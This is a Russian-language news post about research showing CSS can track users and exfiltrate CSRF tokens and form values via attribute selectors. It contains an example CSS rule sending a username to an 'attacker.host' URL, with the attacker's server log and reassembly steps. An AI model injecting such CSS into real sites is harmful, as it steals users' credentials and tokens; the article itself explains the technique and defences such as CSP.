Написать пост

CSS позволяет собирать конфиденциальные данные пользователей

Аватар Михаил Иванов

Три исследовательских проекта от специалистов по информационной безопасности показали, как на первый взгляд безопасный язык CSS может быть использован в качестве средства атаки на сайты.

Отслеживание пользователей на страницах

Работа «Кривые таблицы стилей» Жана Бемера стала первым проектом по этой теме. В работе представлено аналитическое решение, фиксирующее взаимодействие пользователя с элементами веб-страницы, используя только CSS-код. Бемер показал, как без использования JavaScript можно определить временные рамки наведения курсора мышки на элементы страницы, нажатия на ссылки, ввода текста в поля и установки флажка в чекбоксах.

Использование CSS для кражи CRSF токенов

Независимо от работы Бемера специалист по безопасности Дилан Айри опубликовал другое исследование (названное XSSJacking), в котором показал, как злоумышленник может применить CSS для кражи токенов CSRF. Метод Айри работает только на веб-сайтах и ​​приложениях, которые хранят токены CSRF в атрибутах HTML.

Техника Айри основана на инъекции кода CSS в веб-страницу и использовании селекторов атрибутов CSS. Сама атака занимает около десяти секунд и не требует непрерывных запросов к удаленному серверу, которые могут предупредить пользователя об опасности. Решение подразумевает идентификацию токена в фоновом режиме.

CSS Exfil: как это работает

Техника Айри оказалась вершиной айсберга. Специалист по безопасности Майк Галтьери показал, как тот же способ можно применить для сбора конфиденциальных данных, введенных пользователями в поля. Галтьери назвал эту технику CSS Exfil. Оба метода — Айри и Галтьери — используют селектор атрибутов CSS, который позволяет разработчикам запрашивать HTML-теги страницы для отдельных атрибутов и сопоставлять образцы по их значениям.

Например, следующий CSS-код сканирует страницу на предмет наличия тегов <a>, где атрибут href содержит строку facebook, и окрашивает ее в синий цвет.

			a[href*="facebook"] {
  color: blue;
}
		

Такие запросы могут быть усложнены. Например, злоумышленник может задавать атрибуты, начинающиеся и заканчивающиеся определенной строкой. Эти запросы могут быть сшиты для запуска атаки методом «грубой силы» и попытки определить первую букву атрибута, а затем вторую, третью и так далее.

			[attribute=value]   [foo=bar]     Selects all elements with foo="bar"
[attribute~=value]  [foo~=bar]    Selects all elements with a foo attribute containing the word "bar"
[attribute|=value]  [foo|=bar]    Selects all elements with a foo attribute value starting with "bar"
[attribute^=value]  [foo^="bar"]  Selects all elements with a foo attribute value starting with "bar"
[attribute$=value]  [foo$="bar"]  Selects all elements with a foo attribute value ending with "bar"
[attribute*=value]  [foo*="bar"]  Selects all elements with a foo attribute which contains the substring "bar"
		

Суть атаки заключается в формировании HTTP-запроса сервером злоумышленника, когда вредоносный код CSS идентифицирует правильный (частично или полностью) атрибут селектора.

			#username[value="ZeroC00L"] {
            background:url("https://attacker.host/ZeroC00L");
}
		

Далее злоумышленнику необходимо проскочить через ошибки 404, вылавливая отброшенные части атрибута:

			127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /00 HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:35 -0500] "GET /0L HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Ze HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /Z_ HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /ro HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /oC HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /_L HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /er HTTP/1.1" 404 22
127.0.0.1 - - [30/Jan/2018:11:09:36 -0500] "GET /C0 HTTP/1.1" 404 22
		

И затем собрать их в единое целое:

			Z           # Z_
Ze          # Ze
Zer         # er
Zero        # ro
ZeroC       # oC
ZeroC0      # C0
ZeroC00     # 00
ZeroC00L    # 0L _L
		

У Айри и Галтьери два разных метода для проведения атак. Айри полагается на угадывание окончательной строки по одной букве за раз. Галтьери предлагает более короткий путь восстановления строки, угадывая ее в нескольких частях и восстанавливая в конце.

Оба алгоритма эффективны. Метод Айри более шумный, но его можно легко автоматизировать. Метод Галтьери быстрее (также может быть автоматизирован), но в некоторых случаях требует вмешательства человека для создания финальной строки.

Но CSS Exfil не является безошибочным методом. Он может украсть атрибуты HTML, найденные на странице только во время загрузки. Галтьери утверждает, что это не является серьезной проблемой, и показывает различные обходные пути, которые могут использовать злоумышленники.

Способы защиты

Для защиты от атак CSS Exfil веб-разработчики и авторы приложений могут реализовать меры под названием Content Security Policy (CSP), которые предотвратят загрузку кода из внешних источников.

Также конечные пользователи могут установить одно из расширений Галтьери для Firefox и Chrome, которые обнаруживают все типы атак CSS Exfil, задокументированные в его исследовании.

Идея CSS Exfil не нова. Подобные атаки, основанные на CSS-инъекциях, ранее обсуждались в 2016 году в CureSec.

Следите за новыми постами
Следите за новыми постами по любимым темам
5К открытий5К показов